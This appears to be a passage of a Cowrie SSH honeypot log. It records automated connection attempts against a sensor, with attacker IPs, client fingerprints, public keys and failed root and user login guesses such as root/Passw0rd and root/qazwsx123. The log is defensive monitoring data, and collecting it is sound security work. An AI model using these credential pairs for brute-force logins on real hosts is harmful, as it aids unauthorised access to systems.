{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:42:c6:cd:96:f9:84:dd:8c:50:09:0b:f4:91:ed:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+A5fqXpzrQar6D1AxW65yTqb0ggFLblVb4V41k/9vRgFpT+p6bPbYK+OZD0H0+xIFR+P3f5TF6taPhfiJs49NtrnaOLpB//phUapiRslLWbBYl3KM7DJ2yC2jsoXp6ZCyhGU2aLYGanbJDld+rifw5S5y3A6okO5glL6rB3ELp0Sb55ii/jmbQGY6giNdOdFO7kH5zLvTt/FJdksUVS2NBG6eR2qlosXGJmhD0L0FXGsJjAY9EjcT+oMQDYgfEnxZta3HOj+tDJID5kaNMnsu8KX/7xzUFjSX2P5VhDveLRrEPL1dKN6dk+un2oqoAlYgMu76UauPS1FPkasDlJw1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:42:c6:cd:96:f9:84:dd:8c:50:09:0b:f4:91:ed:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.309247Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:42:c6:cd:96:f9:84:dd:8c:50:09:0b:f4:91:ed:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+A5fqXpzrQar6D1AxW65yTqb0ggFLblVb4V41k/9vRgFpT+p6bPbYK+OZD0H0+xIFR+P3f5TF6taPhfiJs49NtrnaOLpB//phUapiRslLWbBYl3KM7DJ2yC2jsoXp6ZCyhGU2aLYGanbJDld+rifw5S5y3A6okO5glL6rB3ELp0Sb55ii/jmbQGY6giNdOdFO7kH5zLvTt/FJdksUVS2NBG6eR2qlosXGJmhD0L0FXGsJjAY9EjcT+oMQDYgfEnxZta3HOj+tDJID5kaNMnsu8KX/7xzUFjSX2P5VhDveLRrEPL1dKN6dk+un2oqoAlYgMu76UauPS1FPkasDlJw1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.314686Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"18:0f:52:fe:62:00:22:de:8a:3f:cb:a4:ed:bd:6a:1c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIE42m0Bs/3Se6nEFRMB2DvOYFJD+aWOanDjvbx5SVr4","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 18:0f:52:fe:62:00:22:de:8a:3f:cb:a4:ed:bd:6a:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.357803Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"18:0f:52:fe:62:00:22:de:8a:3f:cb:a4:ed:bd:6a:1c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIE42m0Bs/3Se6nEFRMB2DvOYFJD+aWOanDjvbx5SVr4","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.361080Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:09:66:43:2b:d9:87:89:8e:52:bb:4f:d9:3d:b4:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhaZqhczbsyIy9EDhR1wBaLJyn3+wnv1ImVD4F5VXPfn3iW+vbBjBH/VH8I66lC1EJ9hR3/BWYf7rc2hPEuESODoxji6Z7yf58D6vDvsBIc3f6rgkDQLyz4b0PaY40FE/Ts7+9YT+la56Btsa1d9oh/pgtrV/bEJbpZPPusUA1j3LQw3P/bbMOs9kMkX/Rnr9v/Oi1ZjJ8n7bGTmHhcOJr4ResRqSgwwbdfeB3MuHYmkVH991jg0tgHTWkcTZuVJ4wkxnV20MdlIVpYZ67xIPMzddUXpBVugJeQYcMmlaIAevaP8aI7Cov4JFAMaViWiijUR9SiuFL1K3sBjDGhJWmQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:09:66:43:2b:d9:87:89:8e:52:bb:4f:d9:3d:b4:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.404893Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:09:66:43:2b:d9:87:89:8e:52:bb:4f:d9:3d:b4:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAhaZqhczbsyIy9EDhR1wBaLJyn3+wnv1ImVD4F5VXPfn3iW+vbBjBH/VH8I66lC1EJ9hR3/BWYf7rc2hPEuESODoxji6Z7yf58D6vDvsBIc3f6rgkDQLyz4b0PaY40FE/Ts7+9YT+la56Btsa1d9oh/pgtrV/bEJbpZPPusUA1j3LQw3P/bbMOs9kMkX/Rnr9v/Oi1ZjJ8n7bGTmHhcOJr4ResRqSgwwbdfeB3MuHYmkVH991jg0tgHTWkcTZuVJ4wkxnV20MdlIVpYZ67xIPMzddUXpBVugJeQYcMmlaIAevaP8aI7Cov4JFAMaViWiijUR9SiuFL1K3sBjDGhJWmQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.408332Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.452525Z","src_ip":"148.153.121.224","session":"3796169bf56d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":39980,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6ddb591fdd5","protocol":"ssh","message":"New connection: 91.92.40.171:39980 (159.203.135.109:22) [session: f6ddb591fdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.491573Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.542494Z","src_ip":"91.92.40.171","session":"f6ddb591fdd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:53.648100Z","src_ip":"91.92.40.171","session":"f6ddb591fdd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd","message":"login attempt [root/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:54.069842Z","src_ip":"91.92.40.171","session":"7128c3754050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fivem","password":"12345","message":"login attempt [fivem/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:54.127881Z","src_ip":"91.92.40.171","session":"f6ddb591fdd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:55.244252Z","src_ip":"91.92.40.171","session":"f6ddb591fdd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:56.149179Z","src_ip":"91.92.40.171","session":"7128c3754050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":44864,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6b83b1c7338","protocol":"ssh","message":"New connection: 91.92.42.133:44864 (159.203.135.109:22) [session: c6b83b1c7338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:57.636614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:57.733938Z","src_ip":"91.92.42.133","session":"c6b83b1c7338","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:57.737164Z","src_ip":"91.92.42.133","session":"c6b83b1c7338","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123","message":"login attempt [root/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:58.174065Z","src_ip":"91.92.42.133","session":"c6b83b1c7338","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:59.276747Z","src_ip":"91.92.42.133","session":"c6b83b1c7338","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":38796,"dst_ip":"159.203.135.109","dst_port":22,"session":"3532baabd130","protocol":"ssh","message":"New connection: 91.92.40.171:38796 (159.203.135.109:22) [session: 3532baabd130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:59.289733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:59.332389Z","src_ip":"91.92.40.171","session":"3532baabd130","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:59.413073Z","src_ip":"91.92.40.171","session":"3532baabd130","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:13:59.734169Z","src_ip":"91.92.40.171","session":"3532baabd130","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:00.896067Z","src_ip":"91.92.40.171","session":"3532baabd130","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":40952,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaad62f79de6","protocol":"ssh","message":"New connection: 91.92.42.133:40952 (159.203.135.109:22) [session: eaad62f79de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:04.658590Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35408,"dst_ip":"159.203.135.109","dst_port":22,"session":"648440ad535d","protocol":"ssh","message":"New connection: 91.92.40.171:35408 (159.203.135.109:22) [session: 648440ad535d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:04.889603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:04.942087Z","src_ip":"91.92.40.171","session":"648440ad535d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:04.957831Z","src_ip":"91.92.42.133","session":"eaad62f79de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:04.961409Z","src_ip":"91.92.42.133","session":"eaad62f79de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:05.044132Z","src_ip":"91.92.40.171","session":"648440ad535d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"modzmodz","message":"login attempt [user1/modzmodz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:05.585896Z","src_ip":"91.92.40.171","session":"648440ad535d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"root","message":"login attempt [claude/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:06.097606Z","src_ip":"91.92.42.133","session":"eaad62f79de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:06.804500Z","src_ip":"91.92.40.171","session":"648440ad535d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:07.200109Z","src_ip":"91.92.42.133","session":"eaad62f79de6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38312,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a8db1af8ef2","protocol":"ssh","message":"New connection: 103.82.20.28:38312 (159.203.135.109:22) [session: 2a8db1af8ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:08.407114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:08.411690Z","src_ip":"103.82.20.28","session":"2a8db1af8ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:08.679872Z","src_ip":"103.82.20.28","session":"2a8db1af8ef2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gonduras","message":"login attempt [root/gonduras] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:09.485279Z","src_ip":"103.82.20.28","session":"2a8db1af8ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":35456,"dst_ip":"159.203.135.109","dst_port":22,"session":"1003c74a2c86","protocol":"ssh","message":"New connection: 91.92.40.171:35456 (159.203.135.109:22) [session: 1003c74a2c86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:10.322404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:14:10.473692Z","src_ip":"91.92.40.171","session":"1003c74a2c86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","s